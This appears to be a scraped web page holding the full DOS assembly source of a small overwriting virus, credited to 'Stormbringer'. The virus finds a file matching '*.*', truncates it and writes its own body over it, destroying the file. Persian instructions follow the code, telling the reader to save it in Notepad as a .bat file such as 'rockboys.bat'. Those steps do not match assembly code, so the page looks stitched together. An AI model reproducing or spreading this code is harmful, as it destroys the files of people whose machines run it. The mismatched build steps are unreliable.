. ;Code by Stormbringer.. .model tiny .radix 16 .code org 100 start: FindFile: xchg cx,ax ;ax defaults to zero on runtime - cx doesn't push si ;si defaults to 100h under dos - use this l8r mov dx,offset filemask mov ah,4e int 21 OverwriteFile: mov dx,9e mov ah,3c int 21 WriteVirus: xchg bx,ax mov ah,40 pop dx ;get 100h from si earlier for write pointer mov cl,endvir-start ;move only to CL, CH is already zero int 21 Terminate: ret ;terminate by returning to PSP (Int 20) filemask db '*.*',0 endvir: end start </body> </html>

برای دریافت کد کلیک کنید

حالا از منوي فايلsave as رو انتخاب كنيد.
در قسمت file name اسم فايل رو مشخص كنيد.
توجه كنيد كه اين اسم حتما با پسوند bat باشه.مثل rockboys.bat
در قسمت encoding شما بايد ANSI رو انتخاب كنيد.
حالا save كنيد